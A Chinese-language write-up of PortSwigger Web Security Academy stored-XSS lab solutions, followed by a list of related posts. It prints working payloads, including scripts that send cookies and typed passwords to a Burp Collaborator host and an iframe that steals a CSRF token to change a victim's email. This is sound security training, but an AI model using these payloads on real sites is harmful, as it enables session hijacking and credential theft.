Portswigger web security academy:Stored XSS

Stored XSS into HTML context with nothing encoded

  • 题目要求

    提交评论,调用alert函数

  • 解题过程

    直接祖传payload就行

Stored XSS into anchor href attribute with double quotes HTML-encoded

  • 题目描述

    评论功能点有存储型xss

    要求当author name被点击的时候调用alert函数

  • 解题过程

    <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://test.test">name</a> | 24 May 2020
    </p>

    随便输个链接测试一下,发现输入的website被直接嵌入到了href

    构造payload:javascript:alert()

Stored DOM XSS

  • 题目描述

    评论功能点有存储型dom-xss,调用alert函数即可

  • 解题过程

    关键代码

    function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

    注意这里的escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以

    构造payload:<><img src=x onerror=alert()>

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

  • 题目描述

    评论功能点有存储型xss

    要求当author name被点击的时候调用alert函数

  • 解题过程

    这是上上道题的升级版,<>"会被HTML编码,'\会被addslash

    关键代码

    <a id="author" href="https://aaaaa\'&quot;`\\" onclick="var tracker={track(){}};tracker.track('https://aaaaa\'&quot;`\\');">asd</a>

    可以看到website直接被嵌入到了hrefonclick,因为后端检测了url格式,所以href无法进行xss

    onclick,考虑如何闭合引号,注意到这里是html+js环境,所以可以使用HTML实体编码/unicode编码,但是\会被addslash,所以只能用HTML实体编码

    构造payload:http://xss'-alert()-'

    这里涉及到一个js的知识点,eval('xss'-alert()会弹窗,即js语境中,字符串与语句进行运算,会执行语句

Exploiting cross-site scripting to steal cookies

  • 题目描述

    博客评论点有存储型xss

    要求盗取cookie并模拟被盗者身份

  • 解题步骤

    这道题要用到Burp Collaborator,这是一个burp自带的测试工具,贴一篇介绍

    简单来说就是一个用来接收并返回数据的接口,类似于自己搭的vps接收cookie

    构造payload:

    <script>
    fetch('https://xxxxxx.burpcollaborator.net',{
    method:'post',
    body:document.cookie
    });
    </script>

    放到评论区,然后在Burp Collaborator Clientpoll一下拿到cookie,再替换掉自己的cookie就可以

Exploiting cross-site scripting to capture passwords

  • 题目描述

    在博客评论点有存储型xss

    要求盗取usernamepassword并登录

  • 解题过程

    这道题参考了官方的solution,没有过盗取usernamepassword的思路

    <input name=username id=username>
    <input type=password name=password onchange="if(this.value.length)fetch('https://4glwxnk77bznm13y44j75a137udl1a.burpcollaborator.net',{
    method:'POST',
    mode: 'no-cors',
    body:username.value+':'+this.value
    });">

    payload利用了usernamepassword接口,在用户访问页面时自动填写,这里有点脑洞题的感觉,因为这里的赋值是需要后台进行渲染,或者通过get传值的。

    但payload思路可以借鉴

Exploiting XSS to perform CSRF

  • 题目描述

    在评论点有存储型xss

    要求修改查看评论的用户的邮件地址

  • 解题过程

    先登录给的账号,修改email,用burp看下数据包

    关键部分

    POST /email/change-email HTTP/1.1
    Host: accf1faa1fa54c128098504e00910043.web-security-academy.net
    Connection: close
    Content-Length: 58
    Origin: https://accf1faa1fa54c128098504e00910043.web-security-academy.net
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: session=hVm5TBng8eVK17OV1ulcF6IP5xbwzcu4 email=aaaa%40bbb.ccc&csrf=aIMl9DOIMdHZQ4qsl05r4dERRyrRzFm6

    这里需要一个csrf token,所以要用到iframe

    构造payload:(可行)

    <iframe src='https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email' name='xxx'  onload="
    var csrf = window.frames['xxx'].document.getElementsByName('csrf')[0].value;
    fetch('https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email/change-email',{
    method:'post',
    body:'email=aaa@bbb.ccc&csrf='+csrf
    });">
    </iframe>

Portswigger web security academy:Stored XSS的更多相关文章

  1. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  2. Portswigger web security academy:DOM Based XSS

    Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...

  3. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  4. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. ASP.NET Core中间件初始化探究

    前言 在日常使用ASP.NET Core开发的过程中我们多多少少会设计到使用中间件的场景,ASP.NET Core默认也为我们内置了许多的中间件,甚至有时候我们需要自定义中间件来帮我们处理一些请求管道 ...

  2. 最权威的html 标签属性大全

    <p>---恢复内容开始---</p>1.html标签 <marquee>...</marquee>普通卷动 <marquee behavior= ...

  3. 基于autofac的属性注入

    基于autofac的属性注入 什么是属性注入 在了解属性注入之前,要先了解一下DI(Dependency Injection),即依赖注入.在ASP.NET Core里自带了一个IOC容器,而且程序支 ...

  4. (4)MySQL进阶篇SQL优化(常用SQL的优化)

    1.概述 前面我们介绍了MySQL中怎么样通过索引来优化查询.日常开发中,除了使用查询外,我们还会使用一些其他的常用SQL,比如 INSERT.GROUP BY等.对于这些SQL语句,我们该怎么样进行 ...

  5. Spring源码之注解扫描Component-scan

    本文主要介绍Spring的component-scan标签,了解spring是如何实现扫描注解进行bean的注册,主要实现实在 NamespaceHandler, NamespaceHandlerSu ...

  6. 文字变图片——GitHub 热点速览 v.21.14

    作者:HelloGitHub-小鱼干 程序的力量,在 deep-daze 体现得淋漓尽致,你用一句话描述下你的图片需求,它就能帮你生成对应图片.同样的,appsmith 的力量在于你只要拖拽即可得到一 ...

  7. 带你全面认识CMMI V2.0(一)

    新发布的CMMI V2.0在方法论和方法上都提出了一些战略上的变化和改进.这些更新提供了新的要求.历史标准的演进以及以往实践的延续. CMMI V2.0和CMMI V1.3的变化 CMMIV2.0的定 ...

  8. ES系列(二):基于多播的集群发现实现原理解析

    ES作用超强悍的搜索引擎,除了需要具有齐全的功能支持,超高的性能,还必须要有任意扩展的能力.一定程度上,它是一个大数据产品.而要做扩展性,集群自然少不了.然而单独的集群又是不够的,能够做的事情太少,所 ...

  9. 安装电脑思考到了Java设计模式:建造者模式

    目录 定义 意图 主要解决问题 何时使用 优缺点 结构 组装电脑的例子 定义 建造者模式是对象的创建型模式,可以将一个产品的内部表象与产品的生成过程分割开来,从而可以使一个建造过程生成具有不同的内部表 ...

  10. Salesforce学习之路(一)几个简单概念

    Salesforce是一款非常强大的CRM(Customer Relationship Management)系统,国外企业使用十分频繁,而国内目前仅有几家在使用(当然,国内外企使用的依旧较多),因此 ...